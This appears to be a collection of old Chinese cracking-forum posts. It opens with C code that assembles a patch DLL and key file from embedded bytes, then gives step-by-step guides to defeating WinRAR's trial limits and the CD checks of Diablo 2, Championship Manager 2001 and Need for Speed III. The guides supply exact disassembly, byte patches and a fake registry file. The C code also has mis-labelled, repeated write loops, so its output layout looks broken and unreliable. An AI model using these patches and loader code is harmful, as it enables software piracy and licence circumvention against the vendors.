if(key_file[i]=='T'&&key_file[i+1]=='H'&&key_file[i+2]=='E'&&key_file[i+3]=='E'&&key_file[i+4]=='N'&&key_file[i+5]=='D')
    break;
if(fputc(key_file[i],fp)==EOF)
{
printf("\nWrite file
    %s error !\n",file_name);
fclose(fp);
exit(0);
}
i++;
}
fclose(fp);
printf("\n%s has been created successfully !\n",file_name);

}

void create_dll_file(data_addr,XOR_Factor)
unsigned char * data_addr;
unsigned long XOR_Factor;
{
unsigned char data_000h_to_25Fh[0x0260]=
{0x4D,0x5A,0x90,0x00,0x03,0x00,0x00,0x00,0x04,0x00,0x00,0x00,0xFF,0xFF,0x00,0x00,
0xB8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,
0x0E,0x1F,0xBA,0x0E,0x00,0xB4,0x09,0xCD,0x21,0xB8,0x01,0x4C,0xCD,0x21,0x54,0x68,
0x69,0x73,0x20,0x70,0x72,0x6F,0x67,0x72,0x61,0x6D,0x20,0x63,0x61,0x6E,0x6E,0x6F,
0x74,0x20,0x62,0x65,0x20,0x72,0x75,0x6E,0x20,0x69,0x6E,0x20,0x44,0x4F,0x53,0x20,
0x6D,0x6F,0x64,0x65,0x2E,0x0D,0x0D,0x0A,0x24,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x71,0xD4,0xF7,0xDB,0x35,0xB5,0x99,0x88,0x35,0xB5,0x99,0x88,0x35,0xB5,0x99,0x88,
0xC9,0x95,0x8B,0x88,0x34,0xB5,0x99,0x88,0xBB,0xAA,0x8A,0x88,0x34,0xB5,0x99,0x88,
0x52,0x69,0x63,0x68,0x35,0xB5,0x99,0x88,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x50,0x45,0x00,0x00,0x4C,0x01,0x04,0x00,0x34,0x02,0xBC,0x3B,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0xE0,0x00,0x0E,0x21,0x0B,0x01,0x05,0x0C,0x00,0x02,0x00,0x00,
0x00,0x08,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x10,0x00,0x00,
0x00,0x20,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x10,0x00,0x00,0x00,0x02,0x00,0x00,
0x04,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x04,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x50,0x00,0x00,0x00,0x04,0x00,0x00,0x00,0x00,0x00,0x00,0x02,0x00,0x00,0x00,
0x00,0x00,0x10,0x00,0x00,0x10,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x10,0x00,0x00,
0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x00,0x20,0x00,0x00,0x4B,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x40,0x00,0x00,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x2E,0x74,0x65,0x78,0x74,0x00,0x00,0x00,
0x49,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x02,0x00,0x00,0x00,0x04,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x00,0x00,0x60,
0x2E,0x72,0x64,0x61,0x74,0x61,0x00,0x00,0x4B,0x00,0x00,0x00,0x00,0x20,0x00,0x00,
0x00,0x02,0x00,0x00,0x00,0x06,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x40,0x2E,0x64,0x61,0x74,0x61,0x00,0x00,0x00,
0x98,0x02,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x04,0x00,0x00,0x00,0x08,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0xC0,
0x2E,0x72,0x65,0x6C,0x6F,0x63,0x00,0x00,0x0C,0x00,0x00,0x00,0x00,0x40,0x00,0x00,
0x00,0x02,0x00,0x00,0x00,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x42,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00};

/* FROM 260H TO 3FFH, TOTAL 1A0H BYTES */

unsigned char data_400h_to_44Fh[0x0050]=
{0x55,0x8B,0xEC,0x83,0x7D,0x0C,0x01,0x75,0x12,0xBF,'?','?','?','?',0x8D,0x35,/*
    '?' -->the location of dll data in system memory */
0x00,0x30,0x00,0x10,0xB9,0x98,0x02,0x00,0x00,0xF3,0xA4,0xB8,0x01,0x00,0x00,0x00,
0xC9,0xC2,0x0C,0x00,0x55,0x8B,0xEC,0x8B,0x45,0x10,0xC7,0x00,'#','#','#','#',/*
    '#' -->the value of addr_004256E0 */
0xC7,0x40,0x04,'$','$','$','$',0xC7,0x40,0x08,'&','&','&','&',0xB8,0x01,/*
    '$' -->the value of addr_004256E4 */
0x00,0x00,0x00,0x8B,0xE5,0x5D,0xC2,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00};/*
    '&' -->the value of addr_004256E4 */

/* FROM 450H TO 5FFH, TOTAL 1B0H BYTES */

unsigned char data_600h_to_64Fh[0x0050]=
{0x00,0x00,0x00,0x00,0x34,0x02,0xBC,0x3B,0x00,0x00,0x00,0x00,0x32,0x20,0x00,0x00,
0x65,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x28,0x20,0x00,0x00,
0x2C,0x20,0x00,0x00,0x30,0x20,0x00,0x00,0x24,0x10,0x00,0x00,0x3F,0x20,0x00,0x00,
0x00,0x00,0x45,0x78,0x65,0x6D,0x65,0x6B,0x65,0x79,0x2E,0x64,0x6C,0x6C,0x00,0x43,
0x61,0x6C,0x6C,0x5F,0x65,0x62,0x70,0x5F,0x32,0x30,0x00,0x00,0x00,0x00,0x00,0x00};

/* FROM 650H TO 7FFH, TOTAL 1B0H BYTES */

unsigned char data_800h_to_A97h[0x0298];

/* FROM A98H TO BFFH, TOTAL 168H BYTES */

unsigned char data_C00h_to_C0Fh[0x0010]=
{0x00,0x10,0x00,0x00,0x0C,0x00,0x00,0x00,0x10,0x30,0x00,0x00,0x00,0x00,0x00,0x00};

/* FROM C10H TO DFFH, TOTAL 1F0H BYTES */

/* DLL FILE TOTAL 3,584 BYTES */

void put_dword_value();
unsigned long get_dword_value();

FILE *fp;
unsigned char * file_name=dll_file_name;
unsigned char i;
unsigned int j;
unsigned long temp;

for(i=0;i<0xA5;i++)/* decode data */
{
temp=get_dword_value(data_addr+(0xA5-i)*4);
temp^=get_dword_value(data_addr+(0xA5-i-1)*4);
temp^=XOR_Factor^(0xA5-i);
put_dword_value(temp,&data_800h_to_A97h[(0xA5-i)*4]);
}
temp=get_dword_value(data_addr);
put_dword_value(temp,data_800h_to_A97h);

temp=dll_data_memo_addr;
put_dword_value(temp,&data_400h_to_44Fh[0x0A]);

temp=addr_004256E0;
put_dword_value(temp,&data_400h_to_44Fh[0x2C]);
temp=addr_004256E4;
put_dword_value(temp,&data_400h_to_44Fh[0x33]);
temp=addr_004256E8;
put_dword_value(temp,&data_400h_to_44Fh[0x3A]);

if((fp=fopen(file_name,"wb+"))==NULL)
{
printf("\nCan not create %s !\n",file_name);
exit(0);
}

for(j=0;j<0x0260;j++)/* FROM 000H TO 25FH, TOTAL 260H
    BYTES */
{
if(fputc(data_000h_to_25Fh[j],fp)==EOF)
{
printf("\nWrite file
    %s error !\n",file_name);
fclose(fp);
exit(0);
}
}

for(j=0;j<0x01A0;j++)/* FROM 260H TO 3FFH, TOTAL 1A0H
    BYTES */
{
if(fputc(0x00,fp)==EOF)
{
printf("\nWrite file
    %s error !\n",file_name);
fclose(fp);
exit(0);
}
}

for(j=0;j<0x0050;j++)/* FROM 400H TO 44FH, TOTAL 050H
    BYTES */
{
if(fputc(data_400h_to_44Fh[j],fp)==EOF)
{
printf("\nWrite file
    %s error !\n",file_name);
fclose(fp);
exit(0);
}
}

for(j=0;j<0x01B0;j++) /* FROM 450H TO 5FFH, TOTAL 1B0H
    BYTES */
{
if(fputc(0x00,fp)==EOF)
{
printf("\nWrite file
    %s error !\n",file_name);
fclose(fp);
exit(0);
}
}

for(j=0;j<0x01A0;j++)/* FROM 260H TO 3FFH, TOTAL 1A0H
    BYTES */
{
if(fputc(0x00,fp)==EOF)
{
printf("\nWrite file
    %s error !\n",file_name);
fclose(fp);
exit(0);
}
}

for(j=0;j<0x0050;j++)/* FROM 400H TO 44FH, TOTAL 050H
    BYTES */
{
if(fputc(data_400h_to_44Fh[j],fp)==EOF)
{
printf("\nWrite file
    %s error !\n",file_name);
fclose(fp);
exit(0);
}
}

for(j=0;j<0x01B0;j++) /* FROM 450H TO 5FFH, TOTAL 1B0H
    BYTES */
{
if(fputc(0x00,fp)==EOF)
{
printf("\nWrite file
    %s error !\n",file_name);
fclose(fp);
exit(0);
}
}

for(j=0;j<0x0050;j++)/* FROM 600H TO 64FH, TOTAL 050H
    BYTES */
{
if(fputc(data_600h_to_64Fh[j],fp)==EOF)
{
printf("\nWrite file
    %s error !\n",file_name);
fclose(fp);
exit(0);
}
}

for(j=0;j<0x01B0;j++)/* FROM 650H TO 7FFH, TOTAL 1B0H
    BYTES */
{
if(fputc(0x00,fp)==EOF)
{
printf("\nWrite file
    %s error !\n",file_name);
fclose(fp);
exit(0);
}
}

for(j=0;j<0x0298;j++)/* FROM 800H TO A97H, TOTAL 298H
    BYTES */
{
if(fputc(data_800h_to_A97h[j],fp)==EOF)
{
printf("\nWrite file
    %s error !\n",file_name);
fclose(fp);
exit(0);
}
}

for(j=0;j<0x0168;j++)/* FROM A98H TO BFFH, TOTAL 168H
    BYTES */
{
if(fputc(0x00,fp)==EOF)
{
printf("\nWrite file
    %s error !\n",file_name);
fclose(fp);
exit(0);
}
}

for(j=0;j<0x0010;j++)/* FROM C00H TO C0FH, TOTAL 010H
    BYTES */
{
if(fputc(data_C00h_to_C0Fh[j],fp)==EOF)
{
printf("\nWrite file
    %s error !\n",file_name);
fclose(fp);
exit(0);
}
}

for(j=0;j<0x01F0;j++)/* FROM C10H TO DFFH, TOTAL 1F0H
    BYTES */
{
if(fputc(0x00,fp)==EOF)
{
printf("\nWrite file
    %s error !\n",file_name);
fclose(fp);
exit(0);
}
}

fclose(fp);
printf("\n%s has been created successfully !\n\n",file_name);

}


WinRAR v3.0 Beta 4

 标 题:WinRAR v3.0 Beta 4 破解過程-我是這樣破 (3千字)
发信人:夢幻紫雲
时 间:2002-3-7 16:55:31
详细信息:
破解工具：TRW V1.23、W32DASM、HIEW v6.81
首先解決啟動WINRAR 在左上會看到evaluation copy字樣、在 About Winrar看到 40 days trial copy
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0043621E(C)
|
:00436610 833D9CC5490000 cmp dword ptr [0049C59C], 00000000
:00436617 754D jne 00436666
:00436619 803D6C4B480000 cmp byte ptr [00484B6C], 00
:00436620 7544 jne 00436666
:00436622 803D14494A0000 cmp byte ptr [004A4914], 00
:00436629 753B jne 00436666
:0043662B 803D38CC480000 cmp byte ptr [0048CC38], 00 -->>這個就是關鍵
:00436632 7532 jne 00436666
:00436634 A1D0CE4900 mov eax, dword ptr [0049CED0]
:00436639 83F828 cmp eax, 00000028 -->>40天的限制，向上看
:0043663C 7F04 jg 00436642
:0043663E 85C0 test eax, eax
:00436640 7D24 jge 00436666

看看是那裡使[0048CC38]值改變

* Reference To: USER32.FlashWindow, Ord:0000h
|
:0043E13D E8B82B0400 Call 00480CFA
:0043E142 B001 mov al, 01
:0043E144 E8E7D7FCFF call 0040B930 進去看看囉
:0043E149 A238CC4800 mov byte ptr [0048CC38], al 這裡會改變, 向上看
:0043E14E 6A00 push 00000000
:0043E150 FF35009F4900 push dword ptr [00499F00]

* Referenced by a CALL at Addresses:
|:004360C0 , :004362EE , :0043E144 , :0043EA90
|
:0040B930 55 push ebp
:0040B931 8BEC mov ebp, esp
:0040B933 81C404F0FFFF add esp, FFFFF004
:0040B939 50 push eax
:0040B93A 81C448FDFFFF add esp, FFFFFD48
:0040B940 53 push ebx
:0040B941 56 push esi
:0040B942 57 push edi
:0040B943 8885E3FEFFFF mov byte ptr [ebp+FFFFFEE3], al
:0040B949 BE34C64800 mov esi, 0048C634

* Possible Reference to Dialog:
|
:0040B94E B838224800 mov eax, 00482238
:0040B953 E854770600 call 004730AC
:0040B958 8D95C8FAFFFF lea edx, dword ptr [ebp+FFFFFAC8]

* Possible StringData Ref from Data Obj ->"rarreg.*" 這是KeyFile
|
:0040B95E B85F1E4800 mov eax, 00481E5F
:0040B963 E815F5FFFF call 0040AE7D
:0040B968 84C0 test al, al
:0040B96A 7514 jne 0040B980 如果沒有這個檔案就跳
:0040B96C 33C0 xor eax, eax 就改這裡~ 33 C0 =>> B0 01 就是 mov al,1
:0040B96E 8B95E4FEFFFF mov edx, dword ptr [ebp+FFFFFEE4]
:0040B974 64891500000000 mov dword ptr fs:[00000000], edx
:0040B97B E9CF050000 jmp 0040BF4F

到這裡已解決啟動 evaluation copy字樣、40 days trial copy字樣

接下來是解功能限制 Put authenticity vetification
ALT+A後，在右下看到Archiving options中其中一個選項~選則後，
出現 Available in registered version only

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00440D82(C)
|
:00440DAA 803D38CC480000 cmp byte ptr [0048CC38], 00
:00440DB1 7410 je 00440DC3
:00440DB3 803D34C6480000 cmp byte ptr [0048C634], 00
:00440DBA 7507 jne 00440DC3
:00440DBC C60538CC480000 mov byte ptr [0048CC38], 00 看~這裡被設0
把 C60538CC480000
改 C60538CC480001

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:00440DB1(C), :00440DBA(C)
|
:00440DC3 C605E8484A0001 mov byte ptr [004A48E8], 01
:00440DCA 803DD9484A0000 cmp byte ptr [004A48D9], 00
:00440DD1 7410 je 00440DE3
:00440DD3 33C9 xor ecx, ecx


Diablo 2 暗黑破坏神

 标 题:《Diablo 2 暗黑破坏神 》破解（转载） (1千字)
发信人:gnball
时 间:2001-10-7 17:08:10
详细信息:
这篇文章来自

http://myhomeland.home.sohu.com/

因为讨论game破解的很少

《暗黑破坏神》2代出来有一段时间了，我原先等着买正版，结果正版一拖再拖，只好买D版了。这个游戏太大了，最小安装居然都要500多兆！而且还得用第2张光盘，可怜我的4速光驱！。。。。。。看来只好搞定它了！
1，选最小安装。
2，按封面的要求把crack目录下的game.exe拷到安装目录，并把HKEY_LOCAL_MACHINE\Software\Blizzard Entertainment\Diablo II下的DiabloIICD的值改为"."（不改也行，改了会快一点）。
3，把第2盘上的文件拷到按装目录，其中D2char.mpq一定要拷，否则在游戏中完全看不见主角。D2music.mpq可以不拷，但是这样就没有背景音乐了。
4，用TRW2000载入game.exe。
5，g GetDriveTypeA
6，拦住后按几次F12，直到进入Game.exe的领空，可以看到：
:00401468 E89B090000 call 00401E08
:0040146D 85C0 test eax, eax
:0040146F 740E je 0040147F
:00401471 B9021E4000 mov ecx, 00401E02
:00401476 E881090000 call 00401DFC
:0040147B 85C0 test eax, eax <==出来后就在这里
:0040147D 7511 jne 00401490 <==改改试试吧，果然搞定！
总之，只要---
找到：E89B09000085C0740EB9021E4000E88109000085C07511
改为：E89B09000085C0740EB9021E4000E88109000085C0EB11
其实这个游戏也可以改Storm.dll（就象星际争霸那样），但我懒得再跟下去了。
注意：改好后游戏还会提示放入光盘，按"取消"即可！
希望各位热爱crack的同志跟我交流交流心得。
DayDreamer 2000.7.10
ihavenodream@China.com


冠军足球经理2001

 标 题:《冠军足球经理2001》免光盘破解实录_供菜鸟阅读 (5千字)
发信人:sinco
时 间:2002-1-22 0:24:44
详细信息:
《冠军足球经理2001》免光盘破解实录
啊，太爽了！破解成功的滋味就是一个爽字。你尝过没？NO? 跟我来。
《冠》是我第一个自立破解成功的软件。我是一个初学者，很多关于破解的知识还不懂，但我却能破解成功，我想实践是最重要的。之前我跟着一些破解实录破过readbook和flashget，虽是依样画瓢，不懂其所以然，但是掌握了如何使用工具，如S-ice,trw2000,pw32dsm,Winhex等。不过这些实录太过程化了，不好理解。我写这篇文章一是为了和大家分享我的快乐，二是希望能给初学者又一个比较好的破解实录。
我的《冠》是D版的，两张盘，B盘是中文版安装盘，安装后运行《冠》要检测A盘有没有cm0001.exe文件（其实D商可以在B盘刻上这个文件，我就不用多花五块大洋，可见D商同时是J商），检测了二三十次之多（是怎样知道的？我用Filemon监视过）。接着怎么干呢？这里我不建议用pw32dsm对《冠》的执行文件cmc.exe反汇编，一是cmc.exe很大，反汇编要很长时间；二是反汇编后的代码跟我在Trw2000里看到的不同，不知是不是pw32dsm的错误（望指教）。我是用Trw2000跟踪的。
启动Trw2000，点浏览，选择cmc.exe，点Load，《冠》就开始运行。在cmc.exe的程序入口trw2000会将其断下来。这时trw2000窗口弹出，我们输入bpx GetDriveTypeA（这是在cmc请求系统读取盘符时设置断点），接着按Ctrl＋N回到游戏（也可在游戏里出现要求光盘对话框后按Ctrl+N进入trw2000设同样的断点，按Ctrl＋N回到游戏，点确定），在游戏处理数据库开始时就会请求系统读取盘符，trw2000将其断下，弹出trw2000窗口，断点显示在：
KERNEL32!GetDriveTypeA
0167:BFF77997 57 PUSH EDI
断点是在系统里，我们输入bd * 屏蔽掉设的断点，不断按F10单步运行，直到进入cmc领空（在trw2000窗口中显示出cmc时就是到了cmc领空），这时代码显示如下：
0167:007BF743 FFD7 CALL EDI
007BF745 83F805 CMP EAX,BYTE +05
007BF748 7574 JNZ 007BF79E //在这里会跳走，不过再按几下F10又回来了（大概是判断光盘吧，请指教），经过几次的循环后就向下执行
007BF74A 6A65 PUSH BYTE +65 //65的ASCII码是'E'
007BF74C 6A78 PUSH BYTE +78 //78的ASCII码是'X'
007BF74E 6A65 PUSH BYTE +65 //65的ASCII码是'E'
007BF750 6A2E PUSH BYTE +2E //2E的ASCII码是'.'
007BF752 6A31 PUSH BYTE +31 //31的ASCII码是'1'
007BF754 6A30 PUSH BYTE +30 //30的ASCII码是'0'
007BF756 6A30 PUSH BYTE +30 //30的ASCII码是'0'
007BF758 6A30 PUSH BYTE +30 //30的ASCII码是'0'
007BF75A 6A6D PUSH BYTE +6D //6D的ASCII码是'M'
007BF75C 6A63 PUSH BYTE +63 //63的ASCII码是'C'
007BF75E 56 PUSH ESI
007BF75F 8D9424F8030000 LEA EDX,[ESP+03F8]
007BF766 68E4AD9000 PUSH DWORD 0090ADE4
007BF76B 52 PUSH EDX
007BF76C E82ECB1000 CALL 008CC29F
007BF771 8D842404050000 LEA EAX,[ESP+0504]
007BF778 55 PUSH EBP
007BF779 8D8C2404040000 LEA ECX,[ESP+0404]
007BF780 50 PUSH EAX
007BF781 51 PUSH ECX
007BF782 E8A986CFFF CALL 004B7E30
007BF787 83C440 ADD ESP,BYTE +40
007BF78A 85C0 TEST EAX,EAX
007BF78C 7468 JZ 007BF7F6 //注意，重点！
007BF78E 8D9424D0040000 LEA EDX,[ESP+04D0]
007BF795 52 PUSH EDX
007BF796 E80588CFFF CALL 004B7FA0
007BF79B 83C404 ADD ESP,BYTE +04
........
继续往下走
007BF7E7 50 PUSH EAX
007BF7E8 51 PUSH ECX
007BF7E9 E8E233DFF CALL 005B2BD0 //过了这个CALL就自动回到游戏，弹出要求放入游戏光盘的对话框。说明了什么呢？
说明从007BF743到007BF7E9就是在检测游戏光盘,那么里边一定有当满足条件就跳出这个循环的代码,赶快找找,发现在007BF78C可疑(其代码JZ 007BF7F6是当EAX为0就跳到007BF7F6),显然007BF7F6是在循环外,那么将JZ改为JNZ（非0跳走）不就行了吗。
这时我们可以试一试令EAX为0。当按F10单步执行到007BF78A时，输入R（修改暂存器内容命令），trw2000里的光标会在'EAX＝FFFFFFFF'（我没放光盘嘛）处闪烁，我们输入0并确定。好，'EAX＝00000000'了，按两下F10，果然跳出去了。按Ctrl＋N回到游戏，对话框不见了，进度条飞快的跑起来，仿佛光明就要到来。啊～，该死的对话框又来了。想一想，哦！不是要检测二三十次嘛，该死的《冠》。
能否用83 C4 40 85 C0 74 68在16位编辑器Ultraedit或Winhex里查找并改为83 C4 40 85 C0 75 68(74=JZ,75=JNZ)，事实是不行的，这么短的代码有很多相同的，我试过。怎办?
只能一遍一遍来啦。
经过漫长的重复的工作后（重复上面的工作，地址不同，但汇编还是相同的），终于当上曼联的主教练。哈哈哈！记住！一定要将JZ附近的16进制代码记下来，记到纸上哦，也可记到大脑里，只是三十多条罢了。不记得也没关系，下面就是：
E8A986CFFF 83C440 85C0 7468 8D9424D0040000
E8ACC3C9FF 83C440 85C0 746F 8D8C24E4050000
E87114EFFF 83C440 85C0 7468 8D8C2470050000
E89CCBD2FF 83C440 85C0 7468 8D8C2484050000
E85541D9FF 83C440 85C0 7468 8D8C24DC030000
E82B8EF2FF 83C440 85C0 746F 8D9424F8030000
E86FAEC2FF 83C440 85C0 746F 8D8C2470030000
E866AAFFFF 83C440 85C0 7468 8D8C246C030000
E88511CCFF 83C440 85C0 7468 8D8C24E8030000
E8588FDEFE 83C440 85C0 7468 8D942418040000
E86A190800 83C440 85C0 746F 8D8C24E4050000
E81515D6FF 83C440 85C0 746E 8D8C241C070000
E8A4320800 83C440 85C0 7468 8D8C24E0050000
E8D630EFFF 83C440 85C0 7468 8D8C24DC030000
E88204F9FF 83C440 85C0 7468 8D8C24E4030000
E8B9800A00 83C440 85C0 7468 8D8C247C030000
E8105BECFF 83C440 85C0 7468 8D8C24E0030000
E83A12C2FF 83C440 85C0 7468 8D8C2470030000
E875A9CCFF 83C440 85C0 7468 8D8C246C030000
E8BCE6F3FF 83C440 85C0 7470 8D8C24E8050000
E842C5CCFF 83C440 85C0 7468 8D8C2470030000
E864D1D3FF 83C440 85C0 7468 8D8C246C030000
E8ADE2F4FF 83C440 85C0 7468 8D8C2474050000
E85A9BFFFF 83C440 85C0 746F 8D8C2490030000
E85F2EC7FF 83C440 85C0 746F 8D9424F4030000
E8D684D7FF 83C440 85C0 7468 8D8C24DC030000
E820B4E7FF 83C440 85C0 7468 8D8C24DC050000
E89513D8FF 83C440 85C0 7468 8D8C246C030000
E8F0A5CDFF 83C440 85C0 7468 8D8C24F8030000
E852D1C0FF 83C440 85C0 7468 8D8C2470030000
E82DE2C7FF 83C440 85C0 7468 8D8C2470030000
将这些代码里的74改为75就行了，用Ultraedit或Winhex的方法不用我讲了吧。
我在上面已经说过我是一名初学者，错误在所难免，希望和大家探讨探讨。我的Email地址是sinco@21cn.com。

标 题:这类型的光盘游戏还是用pw32dsm爽。 (127字)
发信人:fwnl
时 间:2002-1-22 11:39:01
详细信息:

找到要所有要 cd 的　字符串，一般就可看到如
TEST EAX EAX
jz xxxxxxxxx
记下地址代码,用16进制编辑器,改就ok
不过有些游戏行不通


极品飞车三光盘版

 标 题:难的不会，来个简单的：破解极品飞车三光盘版 (9千字)
发信人:大波罗
时 间:2001-11-27 14:47:39
详细信息:
 难的不会，来个简单的：破解极品飞车三光盘版

极品飞车三是一款比较老的赛车游戏了，音效感觉非常棒，现在恐怕六代都出来了，但我相信还是有不少人在玩，很久没破东西了，就拿这个版本来试试：

老步骤，不罗琐，下BPX GETDRIVETYPEA后跟踪到此：

016F:004B6340 8D85C4FEFFFF    LEA      EAX,[EBP+FFFFFEC4]
016F:004B6346 A5              MOVSD
016F:004B6347 A5              MOVSD
016F:004B6348 66A5            MOVSW
016F:004B634A A4              MOVSB
016F:004B634B E840300400      CALL    004F9390
016F:004B6350 8D85C4FEFFFF    LEA      EAX,[EBP+FFFFFEC4]
016F:004B6356 E895300400      CALL    004F93F0
016F:004B635B E8B0300400      CALL    004F9410
          ;这里是验证注册表文件之处,F8进入
016F:004B6360 85C0            TEST
  EAX,EAX
016F:004B6362 7430            JZ
    004B6394          ;eax=0则为真，这里要跳！
016F:004B6364 B906000000      MOV      ECX,06
016F:004B6369 8D7DDC          LEA
  EDI,[EBP-24]
016F:004B636C BE94564B00      MOV      ESI,004B5694
016F:004B6371 6A30            PUSH
  BYTE +30
016F:004B6373 A1503A7A00      MOV      EAX,[007A3A50]

进入016F:004B635B的CALL后来到这里:
016F:004F9447 83F805          CMP
  EAX,BYTE +05      ;5代表光驱
016F:004F944A 7515            JNZ
    004F9461          ;不是光驱就跳出,改成JZ 004F9461
016F:004F944C B801000000      MOV      EAX,01
016F:004F9451 83C404          ADD
  ESP,BYTE +04
016F:004F9454 5F              POP
    EDI
016F:004F9455 5E              POP
    ESI
016F:004F9456 5A              POP
    EDX
016F:004F9457 59              POP
    ECX
016F:004F9458 8D8000000000    LEA      EAX,[EAX+00]
016F:004F945E 8BD2            MOV
    EDX,EDX

附上注册表文件，要先注册此文件再运行游戏噢：
REGEDIT4

[HKEY_LOCAL_MACHINE\Software\Electronic Arts]

[HKEY_LOCAL_MACHINE\Software\Electronic Arts\Need For Speed III]
"DisplayName"="Need For Speed III"
"InstallPath"="F:\\Need For Speed III"        ；这里改成你的安装目录
"Version"="1.0"
"Language"=dword:00000409
"SKU_NUMBER"="7901"
"3D Device Description"="Direct3D Device 1"
"3D Card"="Direct3D Device 1"
"Thrash Driver"="d3d"
"Group"="D3D"
"D3D Device"=dword:00000000
"Triple Buffer"=dword:00000000
"Hardware Acceleration"=dword:00000001

[HKEY_LOCAL_MACHINE\Software\Electronic Arts\Need For Speed III\1.0]
"DisplayName"="Need For Speed III"
"Language"=dword:00000001
"Version"=dword:00000001

[HKEY_LOCAL_MACHINE\Software\Electronic Arts\3D Data]
"Version"=dword:0000000e
"Cards"=dword:00000012
"1"=dword:00000001
"2"=dword:00000002
"3"=dword:00000004
"4"=dword:00000005
"5"=dword:00000007
"6"=dword:00000009
"7"=dword:0000000a
"8"=dword:0000000b
"9"=dword:0000000c
"10"=dword:0000000d
"11"=dword:00000008
"12"=dword:00000003
"13"=dword:00000006
"14"=dword:0000000e
"15"=dword:0000000f
"16"=dword:00000010
"17"=dword:00000011
"18"=dword:00000012

[HKEY_LOCAL_MACHINE\Software\Electronic Arts\3D Data\Sort Order]
"1"=dword:00000001
"2"=dword:00000002
"3"=dword:00000003
"4"=dword:00000012
"5"=dword:00000006
"6"=dword:00000004
"7"=dword:00000005
"8"=dword:00000007
"9"=dword:0000000e
"10"=dword:00000008
"11"=dword:00000009
"12"=dword:0000000a
"13"=dword:0000000b
"14"=dword:0000000d
"15"=dword:0000000c
"16"=dword:0000000f
"17"=dword:00000010
"18"=dword:00000011

[HKEY_LOCAL_MACHINE\Software\Electronic Arts\3D Data\Card1]
"Name"="Software Renderer"
"Module"="softtri"
"Group"="Software"
"Types"=dword:00000001

[HKEY_LOCAL_MACHINE\Software\Electronic Arts\3D Data\Card1\Type1]
"VendorID"=dword:00000000
"DeviceID"=dword:00000000

[HKEY_LOCAL_MACHINE\Software\Electronic Arts\3D Data\Card2]
"Name"="3Dfx Voodoo2"
"Module"="voodoo2"
"Group"="3Dfx"
"Types"=dword:00000001

[HKEY_LOCAL_MACHINE\Software\Electronic Arts\3D Data\Card2\Type1]
"VendorID"=dword:0000121a
"DeviceID"=dword:00000002

[HKEY_LOCAL_MACHINE\Software\Electronic Arts\3D Data\Card3]
"Name"="3Dfx Banshee"
"Module"="voodoo2"
"Group"="3Dfx"
"Types"=dword:00000001

[HKEY_LOCAL_MACHINE\Software\Electronic Arts\3D Data\Card3\Type1]
"VendorID"=dword:0000121a
"DeviceID"=dword:00000003

[HKEY_LOCAL_MACHINE\Software\Electronic Arts\3D Data\Card4]
"Name"="3Dfx Voodoo"
"Module"="voodoo"
"Group"="3Dfx"
"Types"=dword:00000001

[HKEY_LOCAL_MACHINE\Software\Electronic Arts\3D Data\Card4\Type1]
"VendorID"=dword:0000121a
"DeviceID"=dword:00000001

[HKEY_LOCAL_MACHINE\Software\Electronic Arts\3D Data\Card5]
"Name"="3Dfx Voodoo Rush"
"Module"="voodoo"
"Group"="3Dfx"
"Types"=dword:00000003

[HKEY_LOCAL_MACHINE\Software\Electronic Arts\3D Data\Card5\Type1]
"VendorID"=dword:00001142
"DeviceID"=dword:0000643d

[HKEY_LOCAL_MACHINE\Software\Electronic Arts\3D Data\Card5\Type2]
"VendorID"=dword:0000121a
"DeviceID"=dword:00008626

[HKEY_LOCAL_MACHINE\Software\Electronic Arts\3D Data\Card5\Type3]
"VendorID"=dword:000010d9
"DeviceID"=dword:00008626

